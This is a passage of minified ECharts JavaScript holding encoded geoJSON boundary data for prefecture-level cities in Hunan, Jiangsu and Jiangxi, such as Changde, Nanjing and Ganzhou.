ƒy@XmJkL@UUJmUkV@z›@kŽkVmK@¦UbWL@a@UbmKmwUK™Xk›VUUkmVkw@UUKmL@WUIWa—JW_k@@WmI@mk@WkWULUUVKUUVm@šU„bš@‚nUǃ@U@w„™V@Ua@aƒL@ak„›l@k™UƒJƒwó@@L@V@„™`@œƒJ@xnn™šmV@bkJmUó@ƒn—JW„UUmƒU@UV@Lk„WlnnmVXbmxšxV@nbV„V@XVm@UVlXU`ƒUŽkn@lWLƒW—zm@UJVXU`@bVšUn@lWVœLlbVKVan_VxnVVVUXV¤ƒbnl@bUn@LWlU@@amU@V¯L„šVVUn@V@x„„@V@L@VmxUKUVm_ƒJUbVV"],encodeOffsets:[[114930,26747]]}},{type:"Feature",id:"4307",properties:{name:"常德市",cp:[111.4014,29.2676],childNum:8},geometry:{type:"Polygon",coordinates:["@@l™U™mkUwUyV™@VW@¯Va—VmUU@KVUVUVLnaWƒnkUÓV_@mVU@݄w@ƒka@kVmƒUmK@IkaUamKkXWaUW@WUk„™@@KVU@aU@™L@J@XÇVUKVak_mWkLWakVUbmLUUmlUVKUU@kUWW@UImJ@xkLkKm@@Xƒ@ó݃@UUk@UKƒV™ƒULƒKƒXkWWbkaƒIUƒWU@mUk@WLaUJġ™ƒ@@XÈÆVIl‚„Vnz°aV@U„m@X`@XWbkakJ@amLƒaU„@V@L°@@bn`š@@XWb@VœVlšUxmb@bUVmVUI™šXVWnƒJU„@nnlVLƒV@JbWzk`m@UVK²V‚x„k„LVl„@Vn@V„„°xVKVkœVVlUblx@bU„‚Æœ@@nVnUll„kx@VW@@VkLWxUL@bÝ@kKkVõV@bkXVVUVƒ@ƒVkUkV›LkV™a™@@™ƒ¯xUxmX@JVb°WXkK@Vm@k„Vb™bn¤‚xUXkJƒblxnXÆK²l‚_@Wnašn@ŽUL@b‚JnIlV„@lUœ@@¯ô@lWȂIVKVm„U@aXaV@lwVXn@@K@UVKUUnU‚bn@lWšX„ƒlJnUšLšKV@„„l@²a@UlK@aV@naVX„WV_nKlL@KUm@a°U°@VXL@a@wWmXal@„k„@VLn›V@@bl@VnX@mwVa²aVU@mk@"],encodeOffsets:[[114976,30201]]}},{type:"Feature",id:"4331",properties:{name:"湘西土家族苗族自治州",cp:[109.7864,28.6743],childNum:8},geometry:{type:"Polygon",coordinates:["@@@KšL@wnK±nƒnm‚—@WUk„ƒÜÈn@n»@mVamk„mšU„„l@V™nmmU@wUan¯VKšLn„VWlInyWUœI@WWk@KXU˜n@mnUmU@WœƒmkV@ƒkXašaVaUm‚Ikƒƒ@kaƒX@ƒUm@UKWU@UkJWkXa@IVy@UmIUVU@UJU@WXWmU@™VakaU@@Xm@Vm@wnwV@VL„yV@VakUUa@wUUVmlI@K„UVkUamJk@VU@UmVaƒan_@KmUƒ@@anm@ImWX_WWUk¯ƒ@k@Wƒ_m`@bULUKUnUWWXkKWaVmnU@@b¯UUbVޱK@UKUUVa¯UUmJUƒVIXmI@UU@WmVmkUV@b¯w@lmI@W@aƒ@m¯LXbmJVLklWL@V@XXŽmbVVU@@VU²Ul@VlX@bš`Xx›zUmkUVÒlŽ@bXLWxXVlš@V„bkLma@nmVmULVbmVUb@lnzmbUÒVl@°nLV„lJkn@bmJk_ƒVmmkblxÈx@LUb„xVb@V™n@JmLVŽUš@„nV@¦VbnJ@lVVbkx™bm@UxVLV@n`UnVVV„kl°z„xVb@VU@@ÆlXnWm¦nbVK@XVVUVVl@X„KUV@nVL@WnIWŽXLVKVLlxUbVKXVWbn@@UnKVLVb„JšU@aVU°b"],encodeOffsets:[[112354,30325]]}},{type:"Feature",id:"4304",properties:{name:"衡阳市",cp:[112.4121,26.7902],childNum:9},geometry:{type:"Polygon",coordinates:["@@lšV@XV@„mXVlXL„W‚X@l@bVxn@šŽšUVkn@VJ@I@alU„JXIVm@»‚LXllIXVVU@Kl@VnXKlb@lVbXIVVUšmVVU`@nbl@@lXLVVVKVbnXWJ@VXbWxXb„Ul™VK„¦nLVVUVVbšb„K@U˜LnK@Un@VxlUV`UnnL@VVL@JV@VUnxnKVbV@@VšIVUnJUVUl@nW„XllIUa„KVbÞLV¼²`V@VIUwlaVmXa@IWanK@U@m„kVƒVUVaX@lšnaVLÈ@‚¥@kkJUWJUaƒXkaUm‚wVXJ@_lWUU@¥n_‚KkamUK„™@amKƒnKƒbV£¯W@k„aWan@@UnwlJ@a@—@UUU@W‚wn@Va@km@UanaWa—UVƒUUVU@K@aƒKUI@wƒKUUVm¯LWUXƒ@mak@UK™LWbUKVUkUmVUKƒLkJ@nƒJ@I@mU_UK@VWkUJmUUL@WkI@V±VU°kzU@Wy@kUm@UWU@@nmKUnkJWIk`ƒIUlm™k@mUUkUb±yUX@VUV@bk@WlXL@nVlUl‚k@WI@ŽkLmš@VV@XVmnnVWbnVUblJXkVl‚XXlWXUJk@±™@nXVWVnL@xUVm@Vn@J—„WK@U™V™@UUVUVKUkkxULW`k¦m„@bkJm¦U@ƒmUX@`UImUU`ƒLVbUVUU@LUbmaU@mJU@U™UIƒKmxkLUl"],encodeOffsets:[[114222,27484]]}},{type:"Feature",id:"4306",properties:{name:"岳阳市",cp:[113.2361,29.1357],childNum:7},geometry:{type:"Polygon",coordinates:["@@@wUklmUUmU@@UVm@wUaV_mmUKmwkIkJmUUnm@™™@UUƒbUKUƒmÛamm¯xVLkbÇÆƒUƒVUzkVUlƒUUKWLX¦W@ƒVUUUaƒKUbmLKm„@akU@aƒmVaUUVIVWkk@wkƒƒ@@xmLlmÅwmbVlXlÝIWVkK@kkVƒL@VWKU@Ublnaƒƒm@b@bšnW`@XUJk@UUWKƒk@UKƒnn‚@xmLUVm@kbVbV„nV@V„b‚@KnV„LWšXŽÆV̦VblŽš„n„UJWz@ƙVóUVbkV™aÅx@¦lVUbVVknWKƒ„k@ƒwƒK™VU„Å„ƒl@zkb@`m_mJ@xX„mbVbœ@llV@n„@llbXL˜UXalUšl„alVnwnLVKlšVbX@@I„V@blJ@bVL@VVVUXȤ‚VnkVÑXmlbnš‚„VKkÑř@UmaVç@±XUlI„xlV„@VaX¯lUVVUšVJn—V@°°nް„Vxĸł°¦šb²¦lJ@U@aUK@kUm@_m±VIXal@„Kl@„bV@K„K@k„m@UmUUaƒK@_UJƒaXU˜@Xmš_VmUk@WUk›@kU@a@m@UƒaUUU@al@ny‚XXWWwkly@¯n@@bnV@k@mVI‚„œVlUUmlU„JUw„I‚bXƒVaUal@K„b@ƒVKVkXVl@VkUU@ylUœVVaVL"],encodeOffsets:[[116888,29526]]}},{type:"Feature",id:"4309",properties:{name:"益阳市",cp:[111.731,28.3832],childNum:5},geometry:{type:"Polygon",coordinates:["@@„ŽÆxXL@l‚V„@̚VI‚bXKl@nVV@„XVŽ„JlbXalX„W„LVKš„„UVLl@VV„@ôބ@@Wn@lLlK@wnIVJX@VX@lVVUL‚VnkVVnKValUXblKnXl`UbVLÈU@W@IšKV@@bUV@Lš@lƒXV‚@VXXblWnLVblb@JnL„VUn@llb@„ƒx@ÞUV@nU`VÔmlX„mbUKUVUV@LVVUn˜ŽUb@°UXš@U‚VzVxnlVškšVnlVnaWƒ@wnIn`@_la@y„kƃVƒšU„L„xl@„ƒXLlmUUVakU@¥ÆwšblUUaôVšU@ÅXyVImƒ™ƒkUaġ¥ÅUWX™ƒKmU@Lƒa@UmUUƒUalan@VUnK@wm„m‚L@V„lXLVVl@VI@WX_™m@a™¯mKUkwW¥UK@_UWWLUVkUWL@WUIkVƒU@JƒwkLUUmJVI@WkXm@VmkKUIU@mmm_@VUV™@™„kJċwUU@KUWkkW@IWW@km@klwkWVkkU™V¯m@kWLU`mIkmkXm@@`@L@xUKWkU@VL@JUU@mbUKVa¯WVnL@`lXUVkU@xW@UbUWVU@UJ@„lnU@m‚nÈmVƒa@bUL™wUb™@@VkxmUUƒ™UV›K@IƒUƒmk@akm@wmIƒŽkK@b™VWXkm@wULUmm@UVW@Ub„mbkKƒVn„U@Wl„xV„U@UXmWUXmlnbUl¯Lmn"],encodeOffsets:[[113378,28981]]}},{type:"Feature",id:"4301",properties:{name:"长沙市",cp:[113.0823,28.2568],childNum:5},geometry:{type:"Polygon",coordinates:["@@lVUllXkx@lln@‚XX@JlXXl‚V@LVVČxlIšƒš@VU@Un`nnV@VJlLUnn@lW@XUJnIVVlK„x@I„VlUVJ@XXKlVVUXKVX@`VLX¦lxVŽnLš°‚an@„„‚bkmVaV@XL@U„KlU@llLXUÞJWkUknaÆxnŽ‚knK@w„@l„@xllUXUJVVUb„n@blV@bnƒ‚LnKVa„LVbVV„UX@W¥XKVL„VVklUVy„U„VÈÅlaUK°wnnÜbn‚V„VL„aVVš@šn@VmnVlIlJna„@Valkn@na@amwm@„UXw˜K@aUUVUUaVa—wWK@kU@UaW@kKUUƒƒ@k™W¯XWan@k„™mmÅ@@I@U@KmLkaVUƒKkLWVUƒk@UVmU@am@kkk¥ƒUƒVUK™„maUb@ŽUb™I@aƒKkkWm@W¯K¯b@VmaULVxUXlVk@UxVJVbUb@xULƒ@ULWW—LƒĕmxVVL@šVb™KUwƒaŲWwX@@WƒUWLU@VbkV@aU@@VUnmJ@VUn@VƒLUK@U‚mUIk@UÇmU@@UW@J@LƒbUmVI@aUmW@@bkXUx@lmLUbm@UbkJ@V@XmlUbkKm@ma@kUaVU@aUK@mImJUIkVƒUƒVUakbWwka@UWKkLUamKUXm`Å_U˜ƒULmaU@@lUV@X"],encodeOffsets:[[114582,28694]]}},{type:"Feature",id:"4302",properties:{name:"株洲市",cp:[113.5327,27.0319],childNum:6},geometry:{type:"Polygon",coordinates:["@@X‚‚Unw„Ė˜KXXVK„@VK@wVaUaUIVwl@kUVWUwVKnb@U°a°LXŽ‚@Xnll„L@bšJVa@VanbšƒVL„U„V@al@@UV¯ÅÇ@Ummk™w@¯ƒyVwnUVVVUkmWV—nKVUƒa@WXkVKn@lUVU„VVVXIlV°VnI@VlKnV@mwVm@LXKWkU¥wWwƒƒ@k@m„X@KX¯V@VUVa@VnKWkœƒV@VUkm@aWa@wkUWwkmV£VÿXUVL@mVIXaò@nW@ašUš@@am™@aUU„UmXmWUk@ƒƒnUW@_maVm™wUkamaUL@aƒwƒW@akI@UƒxUm@kmKUk™lUŽ@b„zV˜m¯xUVU@ƒXVxm`kÈlxXVW„@¦kVUn@xƒxƒKUwÅKVXUJWnXŽmVUxWL„¦XŽm„mK—bmUUwW@UV@šk@ƒšVLnŽlbLm`@¦VVkX@`WIUށxVnlb„WVbXIV‚lI@l¦Ç@UKmbk™W@UbUVU„ƒl@n@VmLXb@JWbUnkbVxUJUxWXXlWL@V@V@XXJWx„zUVVVVKnXW`@bkIUl‚„nLVJUbUIWVXlWV@XklVbnn@xlš"],encodeOffsets:[[115774,28587]]}},{type:"Feature",id:"4308",properties:{name:"张家界市",cp:[110.5115,29.328],childNum:3},geometry:{type:"Polygon",coordinates:["@@@InWVw°wš„@š@šblUœKlUlV„U„@VUUUlW@aöUlUlLÞ@@aVKXwlK@UX@@UlwkƒVkUm@m›@ÅVƒ@akwVaUk›UUlUL¯wƒƒ@UUmƒ@UkƒKƒlw±UULVn@l_XyWwÅ@VUUmJUXU@@mmƒU@kxW@UaUIWbU@@mU@UxƒnUbmKk„WJkUValƒ@aUkUxƒlW_@WUIU@ƒbkKWUJVnUb™bWb„lU@nl›„@XnVmV@n—mWV@LXl@X›JXVmzkJUXmƒ™KULm°Vb@xnVmnUšk@ƒƒ™VƒnnlUb@nm¼m@Ûǃ„Vl@X˜mnm„²ŽmL@x™K@LUl@nULÆx@V@VXVWbXX˜l„@nLlm@bVKœX‚W„L°bnUš@VaVUš@šmšVw„JnwVK°zn@V‚Vb„a„@Ċ¼"],encodeOffsets:[[113288,30471]]}},{type:"Feature",id:"4313",properties:{name:"娄底市",cp:[111.6431,27.7185],childNum:5},geometry:{type:"Polygon",coordinates:["@@lL„nJ@xln@bnlV„‚„@JœLVUšŽV„nVlw@Uš@VašxVK@a„bnUmÇnV@km@ƒ‚I@VUVVXVaX@@wlVVUkW@_mKXU°‚UbVLnaV@‚V@IUKV@XlVL@w@K@_n@lWlnnJV_XK@l°nšU@WVU@kV@nbVK„V—lƒ@nLlƒ„LXU@ƒlmkw@nW@UKVa¯IVn@@aVUUKl@nXVKVn²a˜ŽXblKnLlmVI@KUU@akLUaVa‚UXm@aƒ@wVUVKnLnWlXl‚n@@U@anUVm@U‚Inm@IUK@UmKVmU_kVUwm@@VmL—K@VƒL™aUaVUUUmKƒ¥ULkšƒVWaXwWa@UXImWUaULUUWKk@WnXbWށVWnk@UV@bU@@bƒJ@bƒV@XkŽmb™UU`VbkaWzƒ@klU@ƒb@VƒwUL@bV@U`ULVL@VUK@Xm@XWWIUbUxm@@lkkÇwƒVÛÇW@¯Å™UJ@xƒI™xƒ@@VULmKUnUxmKULUUm@@‚ULƒU™JkIWJ@b@LJUW„kJWnUV@nn˜Ü_nJšxU@VbšnUxlškb@lš@"],encodeOffsets:[[113682,28699]]}},{type:"Feature",id:"4303",properties:{name:"湘潭市",cp:[112.5439,27.7075],childNum:4},geometry:{type:"Polygon",coordinates:["@@Æ`n_VWnLVblKXL@VlbXxlaVb„U„VlUVJnInJ‚@VL@bUVVb@lnbn@lLVank@W@UlIVan@VanK@kVwlW@aX@Vn@bUJVn„a@K‚IX@@VV@nŽVÈl@VJn@VVL„K@UVm@UnIVm@UV@@blUUaV@XK„V@XW@XxƱ„bVxšLUa@™UKWk™@wmmUalk@WXUWkXUVJVaUImKƒVklJ@aX_mWULUUVUƒyXwWI@W@U@UXKWkXWVwU@±_U»ÝKUaƒLVbkJkƒWmXk@UVVŽmIUV™J@UU@UamLmwUVU@mnJ@VUnmV@b@Vm@kkWmXmKULUV@x„Ž@bWnVUbVblK@bVV@LUJknmKkLWa—±bUmULmWk@VLUV@bm@U°JUbVLX@@mlxkn@„WVƒKk„mK@k„"],encodeOffsets:[[114683,28576]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/jiang_su_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3209",properties:{name:"盐城市",cp:[120.2234,33.5577],childNum:8},geometry:{type:"Polygon",coordinates:["@@„n@‚°ĀÞ°@¦ULWKkx@bkLWb@lUlVXXJVbƒnUKmxXV@bm@@Xš‚„LޚܦXlVnš‚mzVJ@n@‚²ÞôkƃÞaȰĉ‚wnljÜó„éVÛnĊīČlj‚ĉ@ō@KÞUlU@ƒkklÇÈњÑlġXɛ@UġƒƒaU@U_ƒW@n™@kaUL@VW@kKmkUV@bkbWW@bkzma@ƒJWI@KUKULƒ@U¦™`@XUJ™U@KmXƒw¯KXkmy@aUIWJXXmV@K¯UU@@bVL@¤VLXbV@@JVXVK@„„JVn@bkKmakVVXUVVVlI@`U@nzVVƒb@¤n@@UlKXLVVšI@V@nV@V‚@ÈUx@šóVōšƒkÅWó@mU@bk@Ýwk@WbXxm@@J@zV@kVƒbV‚nLWVUX™WUXUŽWLUށ@Wl°z@VkxU@UVWIxWJkbƒĬ„nW@@bUl"], +encodeOffsets:[[122344,34504]]}},{type:"Feature",id:"3203",properties:{name:"徐州市",cp:[117.5208,34.3268],childNum:7},geometry:{type:"Polygon",coordinates:["@@XKVX@WnIVx@K°Lnll@@I°K„nVašU°x²mlxš@VanU@aƒk@akmV@@w™@Ua@aUwVwUw@w›@UK@£kaĉlóIÇVkޱ@@kUKmVkIkxW@Ua¯UUm@UVI@WVI„JV@ƒ@Um@Uana„U@m‚I@J@XV@XaVlkXƒVaUUWLUyVIXmWak@ƒXkJókƒJUL@KWkk@ULU@Wa™lUIkJmI™mk„VbVš@lV°kXUKWKULU„mb@VUlVnƒb@VV@IVKUUmU@ak@@bmV@xklƒUƒU@UKmV@nƒJVbkXƒKUamLUJ¯UUVmI™bVV—Ll`@LƒLU`m@kXUVU@V„lxUK@xkIWbUKƒx@V‚kVVn™b¯@@U™@ƒxk‚mbkLÇK™b™@@XnJ@LmVklƒ@@XƒlUƒVkxƒakVVb@bVnUbU@@x˜VUšVb@š„ŽnIĊ`šXVVôJš_„K@xlU²Klk„U„@VaVVÈm@kVUVmnamUUaVƒXIVJ„@‚ç@¥nkVLn›„@@XVK@VUX@JVUV@UnVJVLUJVLUVlšnI„b‚KnU@m°™VanI@anV‚KVL„an„lK„blš„KÞk@¦@¤@„VKnLVK„L„KVzlWšLX@VmV@VbnU°@Ualk™˜WXLVU„KWkUUWšƒ@£Wa"],encodeOffsets:[[121005,35213]]}},{type:"Feature",id:"3206",properties:{name:"南通市",cp:[121.1023,32.1625],childNum:7},geometry:{type:"Polygon",coordinates:["@@VJ@bnzWl°L„xnW@LšVVI@Wš_V¥„@VKVL@LXJ„I‚@nbly@aXXla@aVUnllLX@@UVKlbš@@m„XV`V@„bĢ„lkČÇÆƒȘ¯šwnĕVĉVÿšUƒUĠƒŦğlXÑVǵ@±ōLʵ˝lÇbÝÞ¯xk@Çkķé™n¯@ğŽġƴǫ@kVVlUbƒL@xULǂóLUl¤@nkVV°VLkxVb@l™aUXUKWĖklVX@¤UšƒUkb"],encodeOffsets:[[123087,33385]]}},{type:"Feature",id:"3208",properties:{name:"淮安市",cp:[118.927,33.4039],childNum:5},geometry:{type:"Polygon",coordinates:["@@šnźUôÒɴ胚l¦nĖV‚kbmš„X@xVlVL@xUb@bUJVnUx‚šœ„lKVLÈx‚m„zXV@lW@XV‚b@bȚVxnb‚ƒVIXa°L„aÆVVaXUlK@aXIƄVlXKVUlIXalK@alwXLVK@¥Ý¯¯ÿ@ƒmVk@aX@ƒm„īlaXI‚wXJVUV@lw@U¯yb›UaƒUġUÅaUKVknaġm@kUm@wÆIV±nLÆw„ÇnUUkƒ@ƅÝU¯JÝI¯¦Ul@bƒ@@VVL@l@LƒLÅmƒL@b™@UaVaUWmLUKV¹KƒLWKX¥WI@mXk@UmaUVUU@VmL@W™bkIUWƒUmVóIkbmm™@UbVLUxmJkU@bkJWbnXU`Wz™KUÞÈlVb™Lmx@„kè@Æ"],encodeOffsets:[[121062,33975]]}},{type:"Feature",id:"3205",properties:{name:"苏州市",cp:[120.6519,31.3989],childNum:6},geometry:{type:"Polygon",coordinates:["@@ôèĊVnX°¤²„lxƒÈÜ@²x@J@b@X‚`nIUƙUUV@bl@VVnL@L@xƒJ@X@blJXnW@@`XbW„kVƒ@UbVxƒXUxkV@LóxVbUVWš²šVJĸklUǬ@ĢƳĠ°@šmƒī°»ÈÇ¥ULUU±a@bU@¯ƒU@KnImUVWUk™mXUVU@lIVaUUVWKUbUkWKU¥n£WakJUkUL›K¯L™KkƒVIn@VaUƒVUUƒ›UkVk@ƒU@amUkJƒ@UUlwX¥W@@UkVmk@JUakL›@kk¯ÝmJUn@nmVXlmbVVkn@„UJ@±WUxV¯a¯KōbżÇxUxƒšUUlWL"],encodeOffsets:[[122794,31917]]}},{type:"Feature",id:"3213",properties:{name:"宿迁市",cp:[118.5535,33.7775],childNum:4},geometry:{type:"Polygon",coordinates:["@@XbWnUJVzXKVVUbW„klUWbU@@W@IJ@nƒVmbVbn@@V@„UŽƒIUJ@XUJ@VVn°VVbX@lwlJnUVL@l²@lÈUôJĊklb@¤VLœ@@xVxUxVx@bVbš@@xU@ln„mnX˜mXLVmV@X@lxVnVJôL„LXa‚x@b„@@KVL@bn@@m@™@alLUUVaU¥nIV±‚I@mXI@aWWXU@LlUXWW_XWmaUwǙ@aaWUX@@kWUƒynÇwUKkL›ƒ™VwUmVI@aVa@wUKUk@wƒWn™laUmĕk¥„™ɳçóÑŹV™mmzkVmm@a@Ióƒk@@LWU@`—„WbXLWlkImJVn@`nXVbXŽmL@Vn@‚l@nUVl°Xx°U@LVĠ@z°˜@¦UV@Xn@VJmV"],encodeOffsets:[[121005,34560]]}},{type:"Feature",id:"3207",properties:{name:"连云港市",cp:[119.1248,34.552],childNum:5},geometry:{type:"Polygon",coordinates:["@@@‚lzXxmÆV„„@@¦„@l`XnlKšXXm‚KnLla„b„@„xmbm@kL@V@Vl@@VUXšJX„mbš@@„°Æ@èÈzlW°XĢJlÈ`lInbšWV_@mš™@UUķnƒôw°ÆmnaVƒVÛVmĸ»Ģw±Ý@@mUIny™UmWkۥݙƒK™@Wn@@aWUnwVL„mUaWIUWVk@kkJUVWLUkŃWJ@bkLWVUbÅUƒb¯KWbUJ„WXX`WXkV@KWVXX@bWJ@nJU²mJV¦UbVVkK@b@š@nm@@aUK@Lƒ@@awWbƒKóKUIUmkwW@U@UnWK—nmWƒn@b„l@bmVUb™@kw±n¯w™VUb"],encodeOffsets:[[121253,35264]]}},{type:"Feature",id:"3210",properties:{name:"扬州市",cp:[119.4653,32.8162],childNum:5},geometry:{type:"Polygon",coordinates:["@@VUXblVVV„b@xV@kz„V@l‚wVLUbVV@VU@VbUbl‚b@nkͰIÞV@Ɔ„VlmVƒÈÅxmKU²ÅJ@xVn@lĢnmbUlVLÆbĢV„V‚bœV‚aXk‚@VXKVVWšXVWXUmKU„aWaU@™¥@£XW‚UUV@@ynam_VWkUVUna@ÆV@mnkWmXkWU„W@k„@@akklƒlWUI@UnKl¥™I@VVma@a@I@U@a@anK@UmK@ÅVUnJl™kI@aVwka@mVIUW@UWL@WÅbmIƒƒULka™UWƒUxkLUKWlXL@VƒImƒÅVƒU™mĉL™Uól¯I±l@ÒUbVbUVVXUJUnVV@lnbl@"],encodeOffsets:[[121928,33244]]}},{type:"Feature",id:"3201",properties:{name:"南京市",cp:[118.8062,31.9208],childNum:3},geometry:{type:"Polygon",coordinates:["@@k@ma@kUUVmVIUWVUUaVa@Ѳk°Jôk@Wmk¯KmX¯aUakKƒƒWU„@XU‚LXaV@@mUaVUUl@VmkaUXm@ƒWUUna°IlmV™m™IUW‚@Uk@@aV@VVX@„V‚I°»nm„U@VKVan@m»UaU@U_@WlIUa™aVaUala@¯n@‚ƒkaUkUUWKU@mwkUUmmL@K@ƒLmUUVƒKƒVÅImU—JƒƒVkVVLšèVLVU@W„L„V„š@nVÜULVŽUL@bW@XbWbkJƒUUVUxVXmVk@WUUkVmIƒV@„nbnVWbƒJU„kUULƒa@Jma@XkK@VVL@L@JƒLUVU@V¼ƒnXlƒbm@kbUKmn@lVb@VXXV‚UV@b@LVbÆxXbl@@lV@U„VV@XVK²VlIš`„UbVbUlVVn@WXn@@VUV@„@KmbVLXқLkKƒV@nX@VVUV@b™nVllbšmnb„IWVXU@`lLlknVnmlLlbUmVInK°nUƒU@l@VU@Vn@„ƒ@alI„`VIXaVaVa"],encodeOffsets:[[121928,33244]]}},{type:"Feature",id:"3212",properties:{name:"泰州市",cp:[120.0586,32.5525],childNum:5},geometry:{type:"Polygon",coordinates:["@@lUU@@y@In@WwXal@Þxl@@anVô@ÆX„lŎ™ôU@™Vw@ÇUU@@m@U™JUUWKkL@Vm@@£„aUUmyV@@_kJUUVUUWlUnblL@aUmƒI@ƒULUW@IU@WaUK@£UK@aV@°V@LnUWWXIla„VV™@£UWlkXĕVLVWšb@kUalwUKU¯lU@mk£VôKȁVK@w„KVaUkķlUI±™ğ¥ÝUʚ™Ž¯ôm¦ƒĸ™‚@XXK@VVXUJ@nlbUx@blJkšmIUV@ÆnL@VmL@b@b@V@J@bnb‚U@UšJk¦mL@VVJkXk„ll@bƒ@@lƒXXVWlXnml@nÅU@ŽmbUVlVUXn`mb@zU@V‚VWX@¤š¦V@Xb"],encodeOffsets:[[122592,34015]]}},{type:"Feature",id:"3202",properties:{name:"无锡市",cp:[120.3442,31.5527],childNum:3},geometry:{type:"Polygon",coordinates:["@@nLƒÒlxUVkL™am@™ƒkVWUULUxVVVbUV@bVLU‚nnź™ÞVĠ¦X™VUUaôw@KlUVw„WUwVa„@lUXƒWa@_X@WmkI@a@W„I@w@KmKUUk@@aVUšVVÅmJ_@W@a@I±wÛ@ƑÇkw±ƒ¯£mWĉUóçƒK¯VkUWK@XkV¯UWabƒmUa™UUb™lln@b@xƒbXŽWX`@„VxUblL@bn@Vb@`m@XbWnn@l¤„n@xnVlU„™VLÆWœkV@VbÞJ‚_nƒl@nKVU@aU™U@mVk°WVLUV¯bVXŽ˜bXlVn@VmL@x—V@bl„š‚@œnW@X@VVJ@²VJVU"],encodeOffsets:[[123064,32513]]}},{type:"Feature",id:"3204",properties:{name:"常州市",cp:[119.4543,31.5582],childNum:3},geometry:{type:"Polygon",coordinates:["@@„L˜ŽnxUbVVƒL@xnnW‚nn@VVXn@‚yœImx„„°ƒšL„a‚¥n@VkšKVw„W@nX„VJ@b‚@UVn„ƒ@UnUV@L‚b@`VLklVÞn„Æ@VaXLl™ÈJšmmVUK@aVUUaUUVwVKXVlUš„n@šblKVUkw„ÑmKUVUI@±UI@U@WmX@›™kƒ@a˜U@wnK@UUmWk—aWU°aVUUK¯XUl@nVŽVš@bUVmLk@m„`ÝIUaU@›lÅXUKƒškVmU@wƒmk£m@XmWan@@_Uam@@akKVaUw@ƒW_XW„a@w@akmm@mL@UJmnUKƒ@@XnJWLkKUb@„Vxk„WƒL—aWVUImVULUK@L@lkLVVVllb„m@@°kbVbUbšbVbkJ@XV`V@Vbn¼"],encodeOffsets:[[122097,32389]]}},{type:"Feature",id:"3211",properties:{name:"镇江市",cp:[119.4763,31.9702],childNum:4},geometry:{type:"Polygon",coordinates:["@@šVĊKšn„VÆUn„„J@UWKXkVLlKVwX„šVlbVK„„nJÆaš„ķn¥°óÇIkšWKUbÅ@mƒUÝlkUK@_a@KVUVm„@mƒVU@@aUIWƒ@mƒXUx™LUlm@¦ƒb™K¯„ƒƒnw›Jzm@UW@UmmXmm@w„KUUVamw—ƒKm@UbUL@ŽƒVmn¯¼JƒUW@UUU@@bl@@VŽVXšJšnnU‚‚k¯JmbVV„Xn@VWlbUnk@VVUŽVb@nU@WbKWVƒ@XV„„lLVb°bnW°Lnl@X"],encodeOffsets:[[122097,32997]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/jiang_xi_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3607",properties:{name:"赣州市",cp:[115.2795,25.8124],childNum:18},geometry:{type:"Polygon",coordinates:["@@„`l@Èbln„@„KVLl@„V@bȎlnšKXkVlVL@„lJnb„¦VKVVnX„W@w°@VU„mln„UV`šU„bVUV@„xnKVI°KXKVkVL@al@Xa„LVlULWV™VVL@b„x@VXVmb@x@V™VV@nn¤„šlb°b°KXXWbX`lbXx‚z@x„`VIVUnK„L‚x„WXLVKVbVLVU@wnW°b„@nalX„‚mXVJn@U²mKkVl„U@@xlnœaVmlKnœ@JVLlŽnVššl@XXÆèVlUX@xVLXVšb°W@wnUWmXk@K‚LVwUmUkUKUw@wVaVK@kƒ@WnkUKWkwlmXL@KVUlLVKXmWU„L@ašL@malaVk@aa‚ašƒnXš@VVUblb„Jn˜ƒXa„V‚wn£„K@UWmUk@ƒUaWIV@b™JW@KmmU@aUUUkmKkVKlUU™nKVU„lVaV£Å¥WUUK@UkUUw@m@mIkƒƒUUWƒLƒK¯Uw°¯@wUKUbƒKmƒ@kkKUL@UUKV¥U@manw@k@U@Wm@@U@Wwkm„wWaUU@UUmV¯kwƒ@@kmƒkKkUW@UK@ÅV@XWWkXa@Ul@Va@KVaUUU@ƒaXwla@UkVWaXk@K@lmkUmV@Vmbk@ƒ»XIƒ¥VUkƒVUVU@anKVUƒKUalU@wX@˜™@a@K—@ÝwƒL@ŽUnÇlUIkJmn@ŽƒbVVb@VmnkLƒV¯U@ƒ±l—IWmƒ@kaUI@aÇU@K@KUIkbWbƒJUIUyƒX¯ƒUbU@méUUmUk„WK—xWIkJm@V¥U_UJUwmVkšƒUU@ƒƒƒ@knƒwm@UmkWJkL@n@VW@@‚U@knm@kUml@xÅxƒ@@XUJlb„@VX„JVxn@lbV„@lULnV@VlnV@bWV@bXL@lVLVb„V@blLn@Vl„K@xln@bX@lašLVbnKUVVb„KlXVVkxƒV@nnVUb‚lV@@z—°WWkbƒIk‚WL@LUJ@bUI@b™`@UmI@mkK¯XW™™mUV¯@UUVUUam@@VULWUJƒIm`IUJ›KUkW@Uxn‚WbnnmlXbmIUVmV@Vnb@V™LUKWLnÒVVV@V„UL@„kJUV@bƒÈ@ŽšV°šŽ@XVV@l@xUz"],encodeOffsets:[[116753,26596]]}},{type:"Feature",id:"3608",properties:{name:"吉安市",cp:[114.884,26.9659],childNum:12},geometry:{type:"Polygon",coordinates:["@@lxnb@V@bV@ln@‚n„‚lInš@blVXK‚nk¼@VUKWL@b™L@`UXU`ƒ@V¦XLĠ@lJ„¦@„nV@l°nn@‚mVXnaš@nb‚K„n@l„IVƒš@VanJ@_lKVVnš„L@L‚K@Vn@VbšUVanKlLnbnJVbšnWVnVVanI@‚Vb@L„bVKVanXVbVJVU@aXLll„bôlƼXxVLVK@Xn@ƒxnVVVmb@LnVVKVXV@@mnaVXUVnV˜K@_UaUmšwnKV_‚anKVLš»„K@¯ÝU@›™U@kWlUn™lknK‚VnaUkma@ƒUIUwl»Åw@ƒVwV@n™‚n@ÈXlKVmna@kVw@anm‚@n_WWk@™™mUkUK@Im›kLUn›bkm@wV@kƒlUnLV±m@UInWƒkWmbƒ@¯amX@xUVUKUaULWKƒXwƒKmLUVUJƒ_@wyWwkaW_XaWW¯L¯akaƒ™m£@mUUš@U@wnaWU@Uƒw@aUKšUXUVKUkƒKWbk@@bUKUlWL¯LUJmLƒwU@UVƒa™VU_ƒVkmƒnUV¯@@xƒXmWUUULƒ¥makI@ƒUKUkWl™LkmǍ@aƒUk@UKƒLƒ@kmÇak@ƒ_VlkL@`lbnšlLVanLnbmVÆln@škJlbknmKUbÝmmwULUK@bkLWKULUUma@Kk@UV@L@llbVzšxUxnl@bVLmŽšŽ@IVJXœVlƒLV`@bn²@J™@™V@Xmbñ@WbUJ@bm@@LUĬU‚„¦lV@x